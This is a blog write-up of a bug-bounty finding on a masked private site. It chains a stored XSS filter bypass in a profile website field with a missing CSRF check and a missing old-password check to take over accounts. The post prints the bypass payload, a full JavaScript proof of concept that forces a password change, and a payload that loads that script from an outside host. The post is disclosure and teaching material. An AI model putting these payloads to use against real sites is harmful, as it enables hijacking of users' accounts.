XSS + CSRF = Bhoom!
Hello :D Everyone,
It had been a long time since I got a good bug and a bounty too :3 so after an OWASP meet where I met many leet bounty hunters I felt so much motivated, to do a bug hunt.I started poking around and all , so this is a story of a simple Full Account Takeover on a h1 private site
1. Stored XSS(Required Interaction)
Now all victim had to do was , to click on attacker's website and BOOM! his password got changed to 'my1337pass'.
It had been a long time since I got a good bug and a bounty too :3 so after an OWASP meet where I met many leet bounty hunters I felt so much motivated, to do a bug hunt.I started poking around and all , so this is a story of a simple Full Account Takeover on a h1 private site
| Reported To | **************** |
| Types | Cross-Site Request Forgery (CSRF),Cross-Site Scripting (XSS) |
I found a XSS on its main domain in Website field of user's Profile.I tried javascript:alert(1) to check if javascript could be executed but saw that it was detected as invalid so I tried to to modify the payload to use it like javascript://http://google.com/?aaaa%0aalert(1) and it worked!.For those who don't know.
javascript: - Javascript's pseduo protocol/schema
// - Begins a single line comment in js
https://google.com/?aaaa - comment itself
%0a - Intiate a new line which ends the single line comment
alert(1) - a valid javascript's predefined function
so It got updated on my profile. But it required Victim to click on Attacker's website by sending him the Attacker's profile page which was publicly accessible so thats how i got a simple XSS with easy bypass. Now I decided to go further before reporting and I played around a little more and I Found that in "Change Password" functionality , they don't ask for the user's old password.Well that was pretty awesome to exploit :D with the XSS we found.
2.CSRF Bypass
Even though i had a XSS I decided to check if an anti-CSRF token was there(which was not a need since we can grab the token with XSS using xhr). I thought if we could check if CSRF token is being validated on the server side so all I did was , removed the authenticity_token parameter from the form :D and boom! it got updated without it.
#.Full Account TakeOver
so Combining XSS and no confirmation check on user's old password. I Created a POC Which takeover the victim's account by just a click on Attacker's profile's Website. All We need is the victim should be logged into his account.
Earlier while Changing the password I saw that the form was submitted to an endpoint which had a unique user id which was not publicly known
https://www.******.com/users/{UNIQUE ID}
so we just needed to grab userid and since the csrf token is not validated we don't need to grab that.
So I made XHR Request to /account (various other end points also contained user_id in their source) to find the user_id(victim's) and grabbed that and submitted the Password Change form with that user_id
I hosted this javascript on a https domain.
var user_id;
var http=new XMLHttpRequest;
http.open("GET","https://www.*******.com/account",true);
http.send();
http.onload=function()
{
if(http.status===200)
{
var html=http.responseText;
var parser=new DOMParser;
var dom=parser.parseFromString(html,'text/html');
user_id=(dom.getElementsByClassName('edit_user')[0].id).split('_')[2];
}
};
alert(user_id);
var f=document.createElement('form');
var i1=document.createElement('input');
var i2=document.createElement('input');
var i3=document.createElement('input');
var i4=document.createElement('input');
var i5=document.createElement('input');
f.action="https://www.********.com/users/"+user_id;
f.class="edit_user";
f.id="edit_user_"+user_id;
f.method="POST";
i1.name="utf8";
i1.type="hidden";
i1.value="✓";
i2.name="_method";
i2.type="hidden";
i2.value="put";
i3.id="page";
i3.name="page";
i3.type="hidden";
i3.value="password";
i4.id="user_password"
i4.name="user[password]"
i4.value="my1337pass";
i4.type="password";
i5.class="button";
i5.name="commit";
i5.type="submit";
f.appendChild(i1);
f.appendChild(i2);
f.appendChild(i3);
f.appendChild(i4);
f.appendChild(i5);
f.submit();
and entered
javascript://http://google.com.?a%0avar x=document.createElement('script');x.src='https://myhost/script.js';document.body.appendChild(x);
in the website url and updated my(attacker's) profile.
I got a fair enough bounty :D.
Thanks to every awesome infosec people who share their knowledge.
XSS + CSRF = Bhoom!
Reviewed by Rahul Maini
on
18:39
Rating: 5
Reviewed by Rahul Maini
on
18:39
Rating: 5




